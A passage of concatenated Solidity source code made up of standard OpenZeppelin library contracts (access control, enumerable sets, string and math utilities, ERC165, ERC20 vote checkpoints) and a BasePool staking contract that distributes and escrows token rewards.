(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IBasePool.sol";
import "../interfaces/ITimeLockPool.sol";
import "./AbstractRewards.sol";
import "./TokenSaver.sol";
abstract contract BasePool is ERC20Votes, AbstractRewards, IBasePool, TokenSaver, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeCast for uint256;
using SafeCast for int256;
IERC20 public immutable depositToken;
IERC20 public immutable rewardToken;
ITimeLockPool public immutable escrowPool;
uint256 public immutable escrowPortion; // how much is escrowed 1e18 == 100%
uint256 public immutable escrowDuration; // escrow duration in seconds
event RewardsClaimed(address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount);
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration
) ERC20Permit(_name) ERC20(_name, _symbol) AbstractRewards(balanceOf, totalSupply) {
require(_escrowPortion <= 1e18, "BasePool.constructor: Cannot escrow more than 100%");
require(_depositToken != address(0), "BasePool.constructor: Deposit token must be set");
depositToken = IERC20(_depositToken);
rewardToken = IERC20(_rewardToken);
escrowPool = ITimeLockPool(_escrowPool);
escrowPortion = _escrowPortion;
escrowDuration = _escrowDuration;
if(_rewardToken != address(0) && _escrowPool != address(0)) {
IERC20(_rewardToken).safeApprove(_escrowPool, type(uint256).max);
}
}
function _mint(address _account, uint256 _amount) internal virtual override {
super._mint(_account, _amount);
_correctPoints(_account, -(_amount.toInt256()));
}
function _burn(address _account, uint256 _amount) internal virtual override {
super._burn(_account, _amount);
_correctPoints(_account, _amount.toInt256());
}
function _transfer(address _from, address _to, uint256 _value) internal virtual override {
super._transfer(_from, _to, _value);
_correctPointsForTransfer(_from, _to, _value);
}
function distributeRewards(uint256 _amount) external override nonReentrant {
rewardToken.safeTransferFrom(_msgSender(), address(this), _amount);
_distributeRewards(_amount);
}
function claimRewards(address _receiver) external {
uint256 rewardAmount = _prepareCollect(_msgSender());
uint256 escrowedRewardAmount = rewardAmount * escrowPortion / 1e18;
uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount;
if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) {
escrowPool.deposit(escrowedRewardAmount, escrowDuration, _receiver);
}
// ignore dust
if(nonEscrowedRewardAmount > 1) {
rewardToken.safeTransfer(_receiver, nonEscrowedRewardAmount);
}
emit RewardsClaimed(_msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface ITimeLockPool {
function deposit(uint256 _amount, uint256 _duration, address _receiver) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-ERC20Permit.sol";
import "../../../utils/math/Math.sol";
import "../../../utils/math/SafeCast.sol";
import "../../../utils/cryptography/ECDSA.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20Votes is ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = Math.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
return _delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
return _delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
